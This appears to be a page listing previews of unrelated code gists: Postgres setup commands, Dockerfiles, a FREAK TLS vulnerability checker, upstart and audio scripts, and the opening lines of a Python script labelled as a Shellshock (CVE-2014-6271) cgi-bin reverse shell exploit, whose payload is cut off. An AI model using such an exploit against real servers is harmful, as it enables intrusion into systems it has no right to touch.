Criar super usuário:
$ sudo -u postgres createuser --superuser $USER
Adicionar extensões:
$ sudo -u postgres psql template1 -c 'create extension if not exists "hstore"'
Criar super usuário:
$ sudo -u postgres createuser --superuser $USER
Adicionar extensões:
$ sudo -u postgres psql template1 -c 'create extension if not exists "hstore"'
FROM ruby:2.2.1 | |
RUN apt-get update -qq && apt-get install -y \ | |
build-essential \ | |
nodejs \ | |
postgresql-client | |
ENV APP_HOME /app | |
RUN mkdir $APP_HOME | |
WORKDIR $APP_HOME |
# Run container | |
# | |
# docker run -v /tmp/.X11-unix:/tmp/.X11-unix \ | |
# -v $(pwd)/.telegram:/root/Downloads/Telegram \ | |
# -e DISPLAY=unix$DISPLAY \ | |
# infoslack/telegram | |
# | |
FROM ubuntu:14.04 | |
MAINTAINER Daniel Romero <[email protected]> |
#!/usr/bin/env bash | |
# check_freak.sh | |
# (c) 2015 Martin Seener | |
# Simple script which checks SSL/TLS services for the FREAK vulnerability (CVE 2015-0204) | |
# It will output if the checked host is vulnerable and returns the right exit code | |
# so it can also be used as a nagios check! | |
PROGNAME=$(basename $0) |
description "project api server config" | |
start on started project_name | |
stop on stopped project_name | |
pre-start script | |
mkdir -p /var/log/puma | |
chown www-data. /var/log/puma | |
mkdir -p /var/run/puma |
[{ | |
"Args": [ | |
"-g", | |
"daemon off;" | |
], | |
"Config": { | |
"AttachStderr": false, | |
"AttachStdin": false, | |
"AttachStdout": false, | |
"Cmd": [ |
FROM ubuntu:trusty | |
# Update the repository | |
RUN apt-get update | |
# Install necessary tools | |
RUN apt-get install -y wget net-tools build-essential git | |
# Setup Install Nginx | |
RUN wget -q -O - http://nginx.org/keys/nginx_signing.key | apt-key add - |
# CVE-2014-6271 cgi-bin reverse shell | |
# Original: http://pastebin.com/raw.php?i=166f8Rjx | |
import httplib,urllib,sys | |
if (len(sys.argv)<3): | |
print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0] | |
print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0] | |
exit(0) | |
conn = httplib.HTTPConnection(sys.argv[1]) |
#!/bin/sh | |
# | |
# script loop2jack, located in /usr/local/bin | |
# | |
# Start jack if it is not already running: | |
/usr/bin/jack_control start | |
# loop client creation | |
/usr/bin/alsa_out -j ploop -dploop -q 1 2>&1 1> /dev/null & | |
/usr/bin/alsa_in -j cloop -dcloop -q 1 2>&1 1> /dev/null & | |
# give it some time before connecting to system ports |